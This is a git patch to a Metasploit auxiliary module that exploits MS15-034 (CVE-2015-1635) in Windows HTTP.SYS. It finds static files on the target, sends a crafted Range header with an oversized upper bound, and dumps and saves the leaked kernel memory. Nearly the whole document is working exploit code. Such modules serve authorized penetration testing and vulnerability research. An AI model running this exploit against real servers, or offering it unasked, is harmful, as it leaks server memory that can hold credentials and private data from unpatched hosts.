From e9b548e8a246073425aee2a56a3bb156f9ad8830 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 23 Jun 2015 01:07:33 -0500 Subject: [PATCH] Changes for ms15034_http_sys_memory_dump.rb --- .../http/ms15034_http_sys_memory_dump.rb | 228 ++++++++++-------- 1 file changed, 131 insertions(+), 97 deletions(-) diff --git a/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb b/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb index 49c72a03c1..a759af70a4 100644 --- a/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb +++ b/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb @@ -11,9 +11,9 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner - def initialize - super( - 'Name' => 'MS15-034 HTTP.SYS Memory Dump', + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure', 'Description' => %q{ Dumps memory contents using a crafted Range header. Affects only Windows 8.1, Server 2012, and Server 2012R2. Note that if the target @@ -22,35 +22,91 @@ class Metasploit3 < Msf::Auxiliary seem stable. Using a larger target file should result in more memory being dumped, and SSL seems to produce more data as well. }, - 'Author' => 'Rich Whitcroft ', + 'Author' => + [ + 'Rich Whitcroft ', # Msf module + 'sinn3r' # Some more Metasploit stuff + ], 'License' => MSF_LICENSE, - 'References' => [ ['URL', 'http://securitysift.com/an-analysis-of-ms15-034/'] ] - ) + 'References' => + [ + ['CVE', '2015-1635'], + ['MSB', 'MS15-034'], + ['URL', 'http://pastebin.com/ypURDPc4'], + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'], + ['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'], + ['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/'], + ['URL', 'http://securitysift.com/an-analysis-of-ms15-034/'] + ] + )) register_options([ - OptString.new('TARGET_URI', [ true, 'The path to the resource (must exist!)', '/iisstart.htm' ]), - OptInt.new('RPORT', [ true, 'The target port', 443 ]), - OptBool.new('SSL', [ true, 'Use SSL?', true ]), + OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']), OptBool.new('SUPPRESS_REQUEST', [ true, 'Suppress output of the requested resource', true ]) ], self.class) deregister_options('VHOST') end - def check - res = send_request_raw({ - 'uri' => datastore['TARGET_URI'], - 'method' => 'GET', - 'headers' => { - 'Range' => 'bytes=0-18446744073709551615' - } - }) - unless res - vprint_error("Error in send_request_raw") - return false + def target_uri + @target_uri ||= super + end + + def potential_static_files_uris + uri = normalize_uri(target_uri.path) + + return [uri] unless uri[-1, 1] == '/' + + uris = ["#{uri}iisstart.htm", "#{uri}iis-85.png", "#{uri}welcome.png"] + res = send_request_raw('uri' => uri) + + return uris unless res + + site_uri = URI.parse(full_uri) + page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace)) + + page.xpath('//link|//script|//style|//img').each do |tag| + %w(href src).each do |attribute| + attr_value = tag[attribute] + next unless attr_value && !attr_value.empty? + uri = site_uri.merge(URI.encode(attr_value.strip)) + next unless uri.host == vhost || uri.host == rhost + uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file + end end - return (res.body.include?("Requested Range Not Satisfiable") ? true : false) + uris.uniq + end + + def check_host(ip) + upper_range = 0xFFFFFFFFFFFFFFFF + + potential_static_files_uris.each do |potential_uri| + uri = normalize_uri(potential_uri) + + res = send_request_raw( + 'uri' => uri, + 'method' => 'GET', + 'headers' => { + 'Range' => "bytes=0-#{upper_range}" + } + ) + + vmessage = "#{peer} - Checking #{uri} [#{res.code}]" + + if res && res.body.include?('Requested Range Not Satisfiable') + vprint_status("#{vmessage} - Vulnerable") + + # Save the file that we want to use for the information leak + target_uri.path = uri + + return Exploit::CheckCode::Vulnerable + elsif res && res.body.include?('The request has an invalid header name') + return Exploit::CheckCode::Safe + end + end + + Exploit::CheckCode::Unknown end def dump(data) @@ -64,108 +120,86 @@ class Metasploit3 < Msf::Auxiliary end end - i = 1 - bytes_per_line = 16 - lines_suppressed = 0 - bytes = String.new - chars = String.new - + print_line print_good("Memory contents:") + print_line(Rex::Text.to_hex_dump(data)) + end - data.each_byte do |b| - bytes << "%02x" % b.ord + # Needed to allow the vulnerable uri to be shared between the #check and #dos + def target_uri + @target_uri ||= super + end - if b.ord.between?(32, 126) - chars << b.chr - else - chars << "." + def get_file_size + @file_size ||= lambda { + file_size = -1 + uri = normalize_uri(target_uri.path) + res = send_request_raw('uri' => uri) + + unless res + vprint_error("#{peer} - Connection timed out") + return file_size end - if i > 1 and i % bytes_per_line == 0 - if bytes !~ /^[0f]{32}$/ - bytes.gsub!(/(.{4})/, '\1 ') - print_status("#{bytes} #{chars}") - else - lines_suppressed += 1 - end - - bytes.clear - chars.clear + if res.code == 404 + vprint_error("#{peer} - You got a 404. URI must be a valid resource.") + return file_size end - i += 1 + file_size = res.headers['Content-Length'].to_i + vprint_status("#{peer} - File length: #{file_size} bytes") + + return file_size + }.call + end + + def calc_ranges(content_length) + ranges = "bytes=3-18446744073709551615" + + range_step = 100 + for range_start in (1..content_length).step(range_step) do + range_end = range_start + range_step - 1 + range_end = content_length if range_end > content_length + ranges << ",#{range_start}-#{range_end}" end - print_status("Suppressed #{lines_suppressed} uninteresting lines") unless lines_suppressed.zero? + ranges end def run_host(ip) begin - unless check + unless check_host(ip) print_error("Target is not vulnerable") return else print_good("Target may be vulnerable...") end - # determine the size of the resource - res = send_request_raw({ 'uri' => datastore['TARGET_URI'], 'method' => 'GET' }) - unless res - print_error("Error in send_request_raw") - return - end + content_length = get_file_size + ranges = calc_ranges(content_length) - if res.code == 200 - content_length = res.headers['Content-Length'].to_i - print_good("Content length is #{content_length} bytes") - else - print_error("Error: HTTP code #{res.code}") - return - end - - # build the Range header - ranges = "bytes=3-18446744073709551615" - range_step = 100 - for range_start in (1..content_length).step(range_step) do - range_end = range_start + range_step - 1 - range_end = content_length if range_end > content_length - ranges << ",#{range_start}-#{range_end}" - end - - sock_opts = { - 'SSL' => datastore['SSL'], - 'SSLVersion' => datastore['SSLVersion'], - 'LocalHost' => nil, - 'PeerHost' => ip, - 'PeerPort' => datastore['RPORT'] - } - - sock = Rex::Socket::Tcp.create(sock_opts) - - req = "GET #{datastore['TARGET_URI']} HTTP/1.1\r\nHost: #{ip}\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)\r\nAccept: */*\r\nConnection: keep-alive\r\nRange: #{ranges}\r\n\r\n" - sock.put(req) + uri = normalize_uri(target_uri.path) + cli = Rex::Proto::Http::Client.new(ip) + cli.connect + req = cli.request_raw( + 'uri' => target_uri.path, + 'method' => 'GET', + 'headers' => { + 'Range' => ranges + } + ) + cli.send_request(req) print_good("Stand by...") - resp = String.new - loop do - sleep 2 + resp = cli.read_response - buf = sock.get_once(-1, 2) - if buf - resp << buf - else - break - end - end - - if resp and not resp.empty? - dump(resp) + if resp + dump(resp.to_s) loot_path = store_loot('iis.ms15034', 'application/octet-stream', ip, resp, nil, 'MS15-034 HTTP.SYS Memory Dump') print_status("Memory dump saved to #{loot_path}") else - print_error("Target does not appear to be vulnerable (must be 8.1, 2012, or 2012R2)") - return + print_error("Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("Unable to connect") @@ -174,7 +208,7 @@ class Metasploit3 < Msf::Auxiliary print_error("Timeout receiving from socket") return ensure - sock.close if sock + cli.close if cli end end end